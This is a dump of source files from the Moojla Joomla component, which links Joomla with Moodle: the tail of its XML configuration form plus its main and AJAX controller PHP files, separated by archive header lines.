description="COM_MOOJLA_CONFIG_SP_ONE_DESCRIPTION"
class="sp_one" />
<!-- Cangotomoodle Field. Type: Radio. (joomla) -->
<field type="radio"
name="cangotomoodle"
label="COM_MOOJLA_CONFIG_CANGOTOMOODLE_LABEL"
description="COM_MOOJLA_CONFIG_CANGOTOMOODLE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Redirect_after_enrol Field. Type: Radio. (joomla) -->
<field type="radio"
name="redirect_after_enrol"
label="COM_MOOJLA_CONFIG_REDIRECT_AFTER_ENROL_LABEL"
description="COM_MOOJLA_CONFIG_REDIRECT_AFTER_ENROL_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Popupbutton Field. Type: Radio. (joomla) -->
<field type="radio"
name="popupbutton"
label="COM_MOOJLA_CONFIG_POPUPBUTTON_LABEL"
description="COM_MOOJLA_CONFIG_POPUPBUTTON_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Showlogintab Field. Type: Radio. (joomla) -->
<field type="radio"
name="showlogintab"
label="COM_MOOJLA_CONFIG_SHOWLOGINTAB_LABEL"
description="COM_MOOJLA_CONFIG_SHOWLOGINTAB_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
showon="popupbutton:1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Loginurl Field. Type: Text. (joomla) -->
<field type="text"
name="loginurl"
label="COM_MOOJLA_CONFIG_LOGINURL_LABEL"
size="256"
maxlength="256"
default="index.php?option=com_users&task=login&tmpl=component"
description="COM_MOOJLA_CONFIG_LOGINURL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONFIG_LOGINURL_MESSAGE"
hint="COM_MOOJLA_CONFIG_LOGINURL_HINT"
autocomplete="on"
showon="showlogintab:1" />
<!-- Showregtab Field. Type: Radio. (joomla) -->
<field type="radio"
name="showregtab"
label="COM_MOOJLA_CONFIG_SHOWREGTAB_LABEL"
description="COM_MOOJLA_CONFIG_SHOWREGTAB_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
showon="popupbutton:1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Registrationurl Field. Type: Text. (joomla) -->
<field type="text"
name="registrationurl"
label="COM_MOOJLA_CONFIG_REGISTRATIONURL_LABEL"
size="256"
maxlength="256"
default="index.php?option=com_users&view=registration&tmpl=component"
description="COM_MOOJLA_CONFIG_REGISTRATIONURL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONFIG_REGISTRATIONURL_MESSAGE"
hint="COM_MOOJLA_CONFIG_REGISTRATIONURL_HINT"
autocomplete="on"
showon="showregtab:1" />
<!-- Alterurl Field. Type: Text. (joomla) -->
<field type="text"
name="alterurl"
label="COM_MOOJLA_CONFIG_ALTERURL_LABEL"
size="256"
maxlength="256"
default=""
description="COM_MOOJLA_CONFIG_ALTERURL_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONFIG_ALTERURL_MESSAGE"
hint="COM_MOOJLA_CONFIG_ALTERURL_HINT"
autocomplete="on"
showon="popupbutton:0" />
<!-- Loginlbl Field. Type: Text. (joomla) -->
<field type="text"
name="loginlbl"
label="COM_MOOJLA_CONFIG_LOGINLBL_LABEL"
size="20"
maxlength="50"
default="Login"
description="COM_MOOJLA_CONFIG_LOGINLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_CONFIG_LOGINLBL_MESSAGE"
hint="COM_MOOJLA_CONFIG_LOGINLBL_HINT"
autocomplete="off" />
<!-- Enterlbl Field. Type: Text. (joomla) -->
<field type="text"
name="enterlbl"
label="COM_MOOJLA_CONFIG_ENTERLBL_LABEL"
size="20"
maxlength="50"
default="Enter"
description="COM_MOOJLA_CONFIG_ENTERLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_CONFIG_ENTERLBL_MESSAGE"
hint="COM_MOOJLA_CONFIG_ENTERLBL_HINT"
autocomplete="off" />
<!-- Freeenterlbl Field. Type: Text. (joomla) -->
<field type="text"
name="freeenterlbl"
label="COM_MOOJLA_CONFIG_FREEENTERLBL_LABEL"
size="20"
maxlength="50"
default="Enter (free)"
description="COM_MOOJLA_CONFIG_FREEENTERLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_CONFIG_FREEENTERLBL_MESSAGE"
hint="COM_MOOJLA_CONFIG_FREEENTERLBL_HINT"
autocomplete="off" />
<!-- Buylbl Field. Type: Text. (joomla) -->
<field type="text"
name="buylbl"
label="COM_MOOJLA_CONFIG_BUYLBL_LABEL"
size="20"
maxlength="50"
default="Buy"
description="COM_MOOJLA_CONFIG_BUYLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_CONFIG_BUYLBL_MESSAGE"
hint="COM_MOOJLA_CONFIG_BUYLBL_HINT"
autocomplete="off" />
<!-- Enrollbl Field. Type: Text. (joomla) -->
<field type="text"
name="enrollbl"
label="COM_MOOJLA_CONFIG_ENROLLBL_LABEL"
size="20"
maxlength="50"
default="Enroll"
description="COM_MOOJLA_CONFIG_ENROLLBL_DESCRIPTION"
class="text_area"
filter="STRING"
message="COM_MOOJLA_CONFIG_ENROLLBL_MESSAGE"
hint="COM_MOOJLA_CONFIG_ENROLLBL_HINT"
autocomplete="off" />
</fieldset>
<fieldset
name="player_custom_config"
label="COM_MOOJLA_CONFIG_PLAYER">
<!-- Videospacer Field. Type: Spacer. A None Database Field. (joomla)
-->
<field type="spacer"
name="videospacer"
label="COM_MOOJLA_CONFIG_VIDEOSPACER_LABEL"
description="COM_MOOJLA_CONFIG_VIDEOSPACER_DESCRIPTION"
class="videospacer" />
<!-- Videotype Field. Type: Radio. (joomla) -->
<field type="radio"
name="videotype"
label="COM_MOOJLA_CONFIG_VIDEOTYPE_LABEL"
description="COM_MOOJLA_CONFIG_VIDEOTYPE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_MODAL</option>
<option
value="2">COM_MOOJLA_CONFIG_EMBED</option>
<option
value="3">COM_MOOJLA_CONFIG_SCROLL_TO_TOP</option>
</field>
<!-- Videowidth Field. Type: Text. (joomla) -->
<field type="text"
name="videowidth"
label="COM_MOOJLA_CONFIG_VIDEOWIDTH_LABEL"
size="50"
maxlength="50"
default="100%"
description="COM_MOOJLA_CONFIG_VIDEOWIDTH_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONFIG_VIDEOWIDTH_MESSAGE"
hint="COM_MOOJLA_CONFIG_VIDEOWIDTH_HINT"
autocomplete="on"
showon="videotype:3" />
<!-- Videoheight Field. Type: Text. (joomla) -->
<field type="text"
name="videoheight"
label="COM_MOOJLA_CONFIG_VIDEOHEIGHT_LABEL"
size="50"
maxlength="50"
default="100%"
description="COM_MOOJLA_CONFIG_VIDEOHEIGHT_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONFIG_VIDEOHEIGHT_MESSAGE"
hint="COM_MOOJLA_CONFIG_VIDEOHEIGHT_HINT"
autocomplete="on"
showon="videotype:3" />
<!-- Preventdownload Field. Type: Radio. (joomla) -->
<field type="radio"
name="preventdownload"
label="COM_MOOJLA_CONFIG_PREVENTDOWNLOAD_LABEL"
description="COM_MOOJLA_CONFIG_PREVENTDOWNLOAD_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Addcontrols Field. Type: Radio. (joomla) -->
<field type="radio"
name="addcontrols"
label="COM_MOOJLA_CONFIG_ADDCONTROLS_LABEL"
description="COM_MOOJLA_CONFIG_ADDCONTROLS_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Preloadvideo Field. Type: Radio. (joomla) -->
<field type="radio"
name="preloadvideo"
label="COM_MOOJLA_CONFIG_PRELOADVIDEO_LABEL"
description="COM_MOOJLA_CONFIG_PRELOADVIDEO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Autoplay Field. Type: Radio. (joomla) -->
<field type="radio"
name="autoplay"
label="COM_MOOJLA_CONFIG_AUTOPLAY_LABEL"
description="COM_MOOJLA_CONFIG_AUTOPLAY_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Muted Field. Type: Radio. (joomla) -->
<field type="radio"
name="muted"
label="COM_MOOJLA_CONFIG_MUTED_LABEL"
description="COM_MOOJLA_CONFIG_MUTED_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Audiospacer Field. Type: Spacer. A None Database Field. (joomla)
-->
<field type="spacer"
name="audiospacer"
label="COM_MOOJLA_CONFIG_AUDIOSPACER_LABEL"
description="COM_MOOJLA_CONFIG_AUDIOSPACER_DESCRIPTION"
class="audiospacer" />
<!-- Preventdownloadaudio Field. Type: Radio. (joomla) -->
<field type="radio"
name="preventdownloadaudio"
label="COM_MOOJLA_CONFIG_PREVENTDOWNLOADAUDIO_LABEL"
description="COM_MOOJLA_CONFIG_PREVENTDOWNLOADAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Preloadaudio Field. Type: Radio. (joomla) -->
<field type="radio"
name="preloadaudio"
label="COM_MOOJLA_CONFIG_PRELOADAUDIO_LABEL"
description="COM_MOOJLA_CONFIG_PRELOADAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
<!-- Autoplayaudio Field. Type: Radio. (joomla) -->
<field type="radio"
name="autoplayaudio"
label="COM_MOOJLA_CONFIG_AUTOPLAYAUDIO_LABEL"
description="COM_MOOJLA_CONFIG_AUTOPLAYAUDIO_DESCRIPTION"
class="btn-group btn-group-yesno"
default="0">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
</fieldset>
<fieldset
name="teacher_custom_config"
label="COM_MOOJLA_CONFIG_TEACHER">
<!-- Teacher_detail_layout Field. Type: Filelist. (joomla) -->
<field type="filelist"
name="teacher_detail_layout"
label="COM_MOOJLA_CONFIG_TEACHER_DETAIL_LAYOUT_LABEL"
directory="../components/com_moojla/views/teacherdetail/tmpl/"
default=""
description="COM_MOOJLA_CONFIG_TEACHER_DETAIL_LAYOUT_DESCRIPTION"
filter="^[^_]*\.php$"
hide_none="ture"
hide_default="true" />
</fieldset>
<fieldset
name="users_custom_config"
label="COM_MOOJLA_CONFIG_USERS">
<!-- Additional_data_source Field. Type: Ads. (custom) -->
<field type="ads"
name="additional_data_source"
label="COM_MOOJLA_CONFIG_ADDITIONAL_DATA_SOURCE_LABEL"
description="COM_MOOJLA_CONFIG_ADDITIONAL_DATA_SOURCE_DESCRIPTION"
class="list_class"
multiple="false"
default="0"
button="false" />
<!-- Student_group Field. Type: Usergroup. (joomla) -->
<field type="usergroup"
name="student_group"
label="COM_MOOJLA_CONFIG_STUDENT_GROUP_LABEL"
description="COM_MOOJLA_CONFIG_STUDENT_GROUP_DESCRIPTION"
default="2" />
<!-- Teacher_group Field. Type: Usergroup. (joomla) -->
<field type="usergroup"
name="teacher_group"
label="COM_MOOJLA_CONFIG_TEACHER_GROUP_LABEL"
description="COM_MOOJLA_CONFIG_TEACHER_GROUP_DESCRIPTION"
default="6" />
<!-- Total_fetch_moodle_users Field. Type: Number. (joomla) -->
<field type="number"
name="total_fetch_moodle_users"
label="COM_MOOJLA_CONFIG_TOTAL_FETCH_MOODLE_USERS_LABEL"
default="1000"
description="COM_MOOJLA_CONFIG_TOTAL_FETCH_MOODLE_USERS_DESCRIPTION"
class="text_area"
min="1"
max="40"
step="10" />
<!-- Number_per_request_fetch_moodle_users Field. Type: Number.
(joomla) -->
<field type="number"
name="number_per_request_fetch_moodle_users"
label="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_MOODLE_USERS_LABEL"
default="50"
description="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_MOODLE_USERS_DESCRIPTION"
class="text_area"
min="1"
max="40"
step="10" />
</fieldset>
<fieldset
name="shop_custom_config"
label="COM_MOOJLA_CONFIG_SHOP">
<!-- Shop_integration Field. Type: Shopintegration. (custom) -->
<field type="shopintegration"
name="shop_integration"
label="COM_MOOJLA_CONFIG_SHOP_INTEGRATION_LABEL"
description="COM_MOOJLA_CONFIG_SHOP_INTEGRATION_DESCRIPTION"
class="list_class"
multiple="false"
default="0"
button="false" />
<!-- Shopcattype Field. Type: Radio. (joomla) -->
<field type="radio"
name="shopcattype"
label="COM_MOOJLA_CONFIG_SHOPCATTYPE_LABEL"
description="COM_MOOJLA_CONFIG_SHOPCATTYPE_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_MOODLE_CATEGORY</option>
<option
value="0">COM_MOOJLA_CONFIG_STATIC</option>
</field>
<!-- Courses_category Field. Type: Coursescategory. (custom) -->
<field type="coursescategory"
name="courses_category"
label="COM_MOOJLA_CONFIG_COURSES_CATEGORY_LABEL"
description="COM_MOOJLA_CONFIG_COURSES_CATEGORY_DESCRIPTION"
class="list_class"
multiple="false"
default="0"
showon="shopcattype:0"
button="false" />
<!-- Onenrolmethoddeleted Field. Type: Radio. (joomla) -->
<field type="radio"
name="onenrolmethoddeleted"
label="COM_MOOJLA_CONFIG_ONENROLMETHODDELETED_LABEL"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_UNPUBLISH</option>
<option
value="0">COM_MOOJLA_CONFIG_DELETE</option>
</field>
<!-- Calculate_price_from Field. Type: List. (joomla) -->
<field type="list"
name="calculate_price_from"
label="COM_MOOJLA_CONFIG_CALCULATE_PRICE_FROM_LABEL"
class="list_class"
multiple="false"
default=""
>
<!-- Option Set.-->
<option
value="moojla">COM_MOOJLA_CONFIG_MOOJLA</option>
<option
value="hikashop">COM_MOOJLA_CONFIG_HIKASHOP</option>
</field>
</fieldset>
<fieldset
name="skyroom_custom_config"
label="COM_MOOJLA_CONFIG_SKYROOM">
<!-- Moodleskyroommods Field. Type: Skyroommod. (custom) -->
<field type="skyroommod"
name="moodleskyroommods"
label="COM_MOOJLA_CONFIG_MOODLESKYROOMMODS_LABEL"
description="COM_MOOJLA_CONFIG_MOODLESKYROOMMODS_DESCRIPTION"
class="list_class"
multiple="true"
default="lmskaranskyroom"
required="false"
button="false" />
<!-- Directentry Field. Type: Radio. (joomla) -->
<field type="radio"
name="directentry"
label="COM_MOOJLA_CONFIG_DIRECTENTRY_LABEL"
description="COM_MOOJLA_CONFIG_DIRECTENTRY_DESCRIPTION"
class="btn-group btn-group-yesno"
default="1"
readonly="false"
disabled="false">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_CONFIG_YES</option>
<option
value="0">COM_MOOJLA_CONFIG_NO</option>
</field>
</fieldset>
<fieldset
name="course_search_custom_config"
label="COM_MOOJLA_CONFIG_COURSE_SEARCH">
<!-- Note_for_role_in_course_search Field. Type: Note. A None
Database Field. (joomla) -->
<field type="note"
name="note_for_role_in_course_search"
label="COM_MOOJLA_CONFIG_NOTE_FOR_ROLE_IN_COURSE_SEARCH_LABEL"
description="COM_MOOJLA_CONFIG_NOTE_FOR_ROLE_IN_COURSE_SEARCH_DESCRIPTION"
heading="h4"
class="alert alert-info
note_for_role_in_course_search"
close="true"
/>
<!-- Tag Field. Type: Mtag. (custom) -->
<field type="mtag"
name="tag"
label="COM_MOOJLA_CONFIG_TAG_LABEL"
class="list_class"
multiple="true"
default=""
showon="tag_widget:include,exclude" />
<!-- Teacher Field. Type: Mteacher. (custom) -->
<field type="mteacher"
name="teacher"
label="COM_MOOJLA_CONFIG_TEACHER_LABEL"
class="list_class"
multiple="true"
default=""
showon="teacher_widget:include,exclude" />
<!-- Course_search_tmpl Field. Type: Filelist. (joomla) -->
<field type="filelist"
name="course_search_tmpl"
label="COM_MOOJLA_CONFIG_COURSE_SEARCH_TMPL_LABEL"
directory="components/com_moojla/views/course_search/tmpl"
default=""
description="COM_MOOJLA_CONFIG_COURSE_SEARCH_TMPL_DESCRIPTION"
exclude="default\.php|\.(xml|html)$"
hide_none="true" />
</fieldset>
<fieldset
name="course_search_custom_config"
label="COM_MOOJLA_CONFIG_COURSE_SEARCH">
<!-- Role Field. Type: List. (joomla) -->
<field type="list"
name="role"
label="COM_MOOJLA_CONFIG_ROLE_LABEL"
description="COM_MOOJLA_CONFIG_ROLE_DESCRIPTION"
class="list_class"
default="0">
<!-- Option Set.-->
<option
value="0">COM_MOOJLA_CONFIG_SELECT_AN_OPTION</option>
<option
value="1">COM_MOOJLA_CONFIG_MANAGER</option>
<option
value="2">COM_MOOJLA_CONFIG_COURSE_CREATOR</option>
<option
value="3">COM_MOOJLA_CONFIG_TEACHER</option>
<option
value="4">COM_MOOJLA_CONFIG_NONEDITING_TEACHER</option>
<option
value="5">COM_MOOJLA_CONFIG_STUDENT</option>
</field>
</fieldset>
<fieldset
name="fetches_custom_config"
label="COM_MOOJLA_CONFIG_FETCHES">
<!-- Coursegourpmap Field. Type: Spacer. A None Database Field.
(joomla) -->
<field type="spacer"
name="coursegourpmap"
label="COM_MOOJLA_CONFIG_COURSEGOURPMAP_LABEL"
class="coursegourpmap" />
<!-- Coursegroupferchstep Field. Type: Integer. (joomla) -->
<field type="integer"
name="coursegroupferchstep"
label="COM_MOOJLA_CONFIG_COURSEGROUPFERCHSTEP_LABEL"
default="5"
description="COM_MOOJLA_CONFIG_COURSEGROUPFERCHSTEP_DESCRIPTION"
class="text_area"
first="1"
last="1000"
step="1" />
<!-- Coursegrouplog Field. Type: Text. (joomla) -->
<field type="text"
name="coursegrouplog"
label="COM_MOOJLA_CONFIG_COURSEGROUPLOG_LABEL"
size="256"
maxlength="256"
default=""
description="COM_MOOJLA_CONFIG_COURSEGROUPLOG_DESCRIPTION"
class="text_area"
filter="STRING"
hint="COM_MOOJLA_CONFIG_COURSEGROUPLOG_HINT" />
</fieldset>
<fieldset
name="enrolment_custom_config"
label="COM_MOOJLA_CONFIG_ENROLMENT">
<!-- Total_fetch_enrolment Field. Type: Number. (joomla) -->
<field type="number"
name="total_fetch_enrolment"
label="COM_MOOJLA_CONFIG_TOTAL_FETCH_ENROLMENT_LABEL"
default="1000"
description="COM_MOOJLA_CONFIG_TOTAL_FETCH_ENROLMENT_DESCRIPTION"
class="text_area"
min="1"
max="40"
step="10" />
<!-- Number_per_request_fetch_enrolment Field. Type: Number. (joomla)
-->
<field type="number"
name="number_per_request_fetch_enrolment"
label="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_ENROLMENT_LABEL"
default="50"
description="COM_MOOJLA_CONFIG_NUMBER_PER_REQUEST_FETCH_ENROLMENT_DESCRIPTION"
class="text_area"
min="1"
max="40"
step="10" />
</fieldset>
<fieldset
name="permissions"
label="JCONFIG_PERMISSIONS_LABEL"
description="JCONFIG_PERMISSIONS_DESC">
<field
name="rules"
type="rules"
label="JCONFIG_PERMISSIONS_LABEL"
class="inputbox"
validate="rules"
filter="rules"
component="com_moojla"
section="component"
/>
</fieldset>
</config>controller.php000064400000010242151165724360007451
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage controller.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* General Controller of Moojla component
*/
class MoojlaController extends JControllerLegacy
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration
settings.
* Recognized key values include 'name',
'default_task', 'model_path', and
* 'view_path' (this list is not meant to be comprehensive).
*
* @since 3.0
*/
public function __construct($config = array())
{
// set the default view
$config['default_view'] = 'moojla';
parent::__construct($config);
}
/**
* display task
*
* @return void
*/
function display($cachable = false, $urlparams = false)
{
// set default view if not set
$view = $this->input->getCmd('view',
'moojla');
$data = $this->getViewRelation($view);
$layout = $this->input->get('layout', null,
'WORD');
$id = $this->input->getInt('id');
// Check for edit form.
if(MoojlaHelper::checkArray($data))
{
if ($data['edit'] && $layout == 'edit'
&&
!$this->checkEditId('com_moojla.edit.'.$data['view'],
$id))
{
// Somehow the person just went to the form - we don't allow that.
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID',
$id));
$this->setMessage($this->getError(), 'error');
// check if item was opend from other then its own list view
$ref = $this->input->getCmd('ref', 0);
$refid = $this->input->getInt('refid', 0);
// set redirect
if ($refid > 0 && MoojlaHelper::checkString($ref))
{
// redirect to item of ref
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view='.(string)$ref.'&layout=edit&id='.(int)$refid,
false));
}
elseif (MoojlaHelper::checkString($ref))
{
// redirect to ref
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view='.(string)$ref,
false));
}
else
{
// normal redirect back to the list view
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view='.$data['views'],
false));
}
return false;
}
}
return parent::display($cachable, $urlparams);
}
protected function getViewRelation($view)
{
// check the we have a value
if (MoojlaHelper::checkString($view))
{
// the view relationships
$views = array(
'course' => 'courses',
'course_field_mapper' => 'course_fields_mapper',
'user_map' => 'user_maps',
'user_field_map' => 'user_fields_map',
'course_group_map' => 'course_group_maps',
'enrolment' => 'enrolments',
'tag' => 'tags',
'tag_instance' => 'tag_instances',
'section' => 'sections',
'module' => 'modules',
'content' => 'contents',
'category_map' => 'categories_map',
'cohort' => 'cohorts'
);
// check if this is a list view
if (in_array($view, $views))
{
// this is a list view
return array('edit' => false, 'view' =>
array_search($view,$views), 'views' => $view);
}
// check if it is an edit view
elseif (array_key_exists($view, $views))
{
// this is a edit view
return array('edit' => true, 'view' => $view,
'views' => $views[$view]);
}
}
return false;
}
}
controllers/ajax.json.php000064400000011366151165724360011537
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage ajax.json.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Ajax Controller
*/
class MoojlaControllerAjax extends JControllerLegacy
{
public function __construct($config)
{
parent::__construct($config);
// make sure all json stuff are set
JFactory::getDocument()->setMimeEncoding( 'application/json'
);
JResponse::setHeader('Content-Disposition','attachment;filename="getajax.json"');
JResponse::setHeader("Access-Control-Allow-Origin",
"*");
// load the tasks
$this->registerTask('shop_requirement', 'ajax');
$this->registerTask('userbatch', 'ajax');
$this->registerTask('addMapperRows', 'ajax');
}
public function ajax()
{
$user = JFactory::getUser();
$jinput = JFactory::getApplication()->input;
// Check Token!
$token = JSession::getFormToken();
$call_token = $jinput->get('token', 0, 'ALNUM');
if($jinput->get($token, 0, 'ALNUM') || $token ===
$call_token)
{
$task = $this->getTask();
switch($task)
{
case 'shop_requirement':
try
{
$returnRaw = $jinput->get('raw', false,
'BOOLEAN');
$shop_nameValue = $jinput->get('shop_name', NULL,
'STRING');
if($shop_nameValue)
{
$result =
$this->getModel('ajax')->shop_requirement($shop_nameValue);
}
else
{
$result = false;
}
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback . "(".json_encode($result).");";
}
elseif($returnRaw)
{
echo json_encode($result);
}
else
{
echo "(".json_encode($result).");";
}
}
catch(Exception $e)
{
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback."(".json_encode($e).");";
}
else
{
echo "(".json_encode($e).");";
}
}
break;
case 'userbatch':
try
{
$returnRaw = $jinput->get('raw', false,
'BOOLEAN');
$usersValue = $jinput->get('users', NULL,
'ARRAY');
$groupValue = $jinput->get('group', NULL,
'ARRAY');
$opValue = $jinput->get('op', NULL, 'ARRAY');
if($user->id != 0)
{
$result =
$this->getModel('ajax')->userbatch($usersValue,
$groupValue, $opValue);
}
else
{
$result = false;
}
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback . "(".json_encode($result).");";
}
elseif($returnRaw)
{
echo json_encode($result);
}
else
{
echo "(".json_encode($result).");";
}
}
catch(Exception $e)
{
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback."(".json_encode($e).");";
}
else
{
echo "(".json_encode($e).");";
}
}
break;
case 'addMapperRows':
try
{
$returnRaw = $jinput->get('raw', false,
'BOOLEAN');
$adsValue = $jinput->get('ads', NULL,
'STRING');
$result =
$this->getModel('ajax')->addMapperRows($adsValue);
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback . "(".json_encode($result).");";
}
elseif($returnRaw)
{
echo json_encode($result);
}
else
{
echo "(".json_encode($result).");";
}
}
catch(Exception $e)
{
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback."(".json_encode($e).");";
}
else
{
echo "(".json_encode($e).");";
}
}
break;
}
}
else
{
if($callback = $jinput->get('callback', null,
'CMD'))
{
echo $callback."(".json_encode(false).");";
}
else
{
echo "(".json_encode(false).");";
}
}
}
}
controllers/categories_map.php000064400000003604151165724360012622
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage categories_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Categories_map Controller
*/
class MoojlaControllerCategories_map extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_CATEGORIES_MAP';
/**
* Method to get a model object, loading it if required.
*
